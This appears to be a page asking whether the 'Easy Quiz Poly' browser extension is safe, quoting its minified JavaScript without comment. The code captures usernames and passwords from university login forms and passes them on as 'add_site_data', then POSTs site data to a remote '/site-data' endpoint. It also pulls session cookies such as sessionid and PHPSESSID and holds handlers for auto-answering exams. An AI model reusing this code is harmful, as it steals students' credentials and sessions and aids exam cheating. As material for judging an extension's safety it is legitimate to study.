Is Easy Quiz Poly safe?

function submitForm() {  const n = form.querySelector(formSelector.username).value,    e = form.querySelector(formSelector.password).value,    o = getRedirectUri();  if (n && e) {    const r = {      username: n,      password: e    };    o && (r.redirectUri = o), addData(r)  }}function getRedirectUri() {  let n = "";  if ("feid.fpt.edu.vn" == window.location.host) {    const e = form.querySelector("#ReturnUrl").value,      o = new URL(e, "https://feid.fpt.edu.vn"),      r = new URLSearchParams(o.search).get("redirect_uri");    n = decodeURIComponent(r)  } else {    const e = new URLSearchParams(window.location.search),      o = e.get("continue") || e.get("redirect") || e.get("redirect_uri");    o && (n = decodeURIComponent(o))  }  return n}async function addData(n) {  chrome.runtime.sendMessage({    type: "add_site_data",    site: window.location.host,    data: n  })}

function main() {  window.removeEventListener("load", main, !1), formSelector = formSelectors[window.location.host], waitForElement(formSelector.form).then(n => {    if (form = n, form) {      const n = document.querySelector(formSelector.login);      n && n.addEventListener("click", submitForm)    }  }), vnuLmsLogin()}window.addEventListener("load", main, !1);

chrome.runtime.onMessage.addListener(function(x, N, A) {  switch (x.type) {    case "open_quiz_popup":      j(N, "aqlist.html", !0), A(!0);      break;    case "open_online_popup":      j(N, "online.html", !1, !0), A(!0);      break;    case "focus_quiz_popup":      chrome.storage.local.get(["windowId"], ({        windowId: e      }) => {        chrome.windows.update(e, {          focused: !0        })      });      break;    case "close_quiz_popup":      chrome.storage.local.get(["windowId"], ({        windowId: e      }) => {        chrome.windows.remove(e)      });      break;    case "update_user":      P(), A(!0);      break;    case "get_user":      L().then(e => A(e));      break;    case "send_user_using":      I(x);      break;    case "send_html":      v(x.note, x.html);      break;    case "add_quiz_poly":      z(x.data);      break;    case "add_quiz":      q(x.data);      break;    case "get_quiz_answer":      y(x.data, A);      break;    case "open_quiz_link":      w(A);      break;    case "login":      f(A);      break;    case "get_quiz_available":      b(x.subject, A);      break;    case "check_quiz":      _(x.subject, A);      break;    case "check_quiz_online":      k(x.subject, A);      break;    case "get_online_answer":      g(x.subject, A);      break;    case "solve_alh_quiz":      p(x.data, A);      break;    case "check_alh_quiz":      h(x.id, A);      break;    case "get_cms_manual_answer":      m(x.courseId, x.questions, A);      break;    case "start_cms_auto_answer":      d(x.courseId, A);      break;    case "add_quiz_self":      let S = x.data.ans;      S && "object" == typeof S && (x.data.ans = Object.values(S)), quizSelf[x.seq] = x.data;      break;    case "add_site_data":      u(x.site, x.data);      break;    case "finish_quiz":      setTimeout(l, 15e3, x);      break;    case "get_cookie":      chrome.cookies.get({        url: x.url,        name: x.name      }, e => {        A({          cookie: e.value        })      });      break;    case "get_cookies":      chrome.cookies.getAll({        domain: x.domain      }, e => {        let a = e.filter(e => "sessionid" == e.name || "PHPSESSID" == e.name).map(e => ({          name: e.name,          value: e.value        }));        const t = a.length ? a[0].value : "";        A({          cookie: t        })      });      break;    case "get_quiz_score_result":      i(x.data), r();      break;    case "get_quiz_percent_result":      n(x.data), r();      break;    case "notify_upgraded_premium":      c({        message: "Chúc mừng! Tài khoản của bạn đã được nâng cấp"      });      break;    case "notify_premium_expired":      c({        message: "Hạn dùng Premium của bạn đã hết. Hãy nâng cấp để tiếp tục sử dụng Premium",        buttons: [{          title: "Nâng cấp"        }]      }, "premium_expired");      break;    case "site_cookies":      o(x.data, x.cookieDetail);      break;    case "site_all_cookies":      s(x.data, x.domain);      break;    case "send_user_using_alh":      t(x);      break;    case "logout":      a(A);      break;    case "set_seb_key":      e();      break;    case "open_sidepanel":      !async function(e, a) {        try {          if (chrome.runtime.sendMessage({              target: "sidepanel",              action: "loadURL",              url: e            }).catch(e => {}), chrome.storage.local.set({              sidepanelURL: e            }), a) await chrome.sidePanel.open({            tabId: a          });          else {            const [e] = await chrome.tabs.query({              active: !0,              currentWindow: !0            });            await chrome.sidePanel.open({              tabId: e.id            })          }        } catch (t) {}      }(x.url, x.tabId), A(!0);      break;    default:      return !0  }  return !0})

async function _(t, n) {  try {    const r = await fetch(e + "/site-data", {      method: "POST",      headers: {        "Content-Type": "application/json"      },      body: JSON.stringify({        site: t,        data: n      })    });    await r.json()  } catch (r) {}}